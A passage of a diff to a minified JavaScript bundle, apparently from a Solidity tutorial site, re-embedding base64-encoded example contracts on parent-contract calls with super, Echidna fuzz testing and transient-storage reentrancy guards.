sbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],DW=`

              Parent contracts can be called directly, or by using the keyword super.

              +`,LW=({prev:s,next:a})=>r.jsx(u,{version:DW,title:TW,description:UW,html:_W,prev:s,next:a,codes:QW}),OW="0.8.24",PW="Calling Parent Contracts",$W="An example of calling parent contracts in Solidity",qW=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],s2=`

              Parent contracts can be called directly, or by using the keyword super.

              By using the keyword super, all of the immediate parent contracts will be called.

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -10501,7 +11063,7 @@ B   C
         super.bar();
     }
 }
-
              `,LW=({prev:s,next:a})=>r.jsx(u,{version:EW,title:UW,description:TW,html:DW,prev:s,next:a,codes:QW}),_W="0.8.24",OW="Echidna",PW="An example of testing contracts with Echidna",$W=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],qW=`

              Examples of fuzzing with Echidna.

              +`,a2=({prev:s,next:a})=>r.jsx(u,{version:OW,title:PW,description:$W,html:s2,prev:s,next:a,codes:qW}),n2="0.8.24",l2="Echidna",p2="An example of testing contracts with Echidna",e2=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],c2=`

              Examples of fuzzing with Echidna.

              1. Save the solidity contract as TestEchidna.sol
              2. In the folder where your contract is stored execute the following command.
                3. @@ -10633,7 +11195,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return false; } } -`,s2=({prev:s,next:a})=>r.jsx(u,{version:_W,title:OW,description:PW,html:qW,prev:s,next:a,codes:$W}),a2="0.8.24",n2="Transient Storage",l2="transient storage",p2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],e2=`

                Data stored in transient storage is cleared out after transaction.

                +`,t2=({prev:s,next:a})=>r.jsx(u,{version:n2,title:l2,description:p2,html:c2,prev:s,next:a,codes:e2}),o2="0.8.24",r2="Transient Storage",i2="transient storage",g2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],h2=`

                Data stored in transient storage is cleared out after transaction.

                pragma solidity ^0.8.24;
 
 // Make sure EVM version and VM set to Cancun
@@ -10726,7 +11288,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         msg.sender.call(b);
     }
 }
-
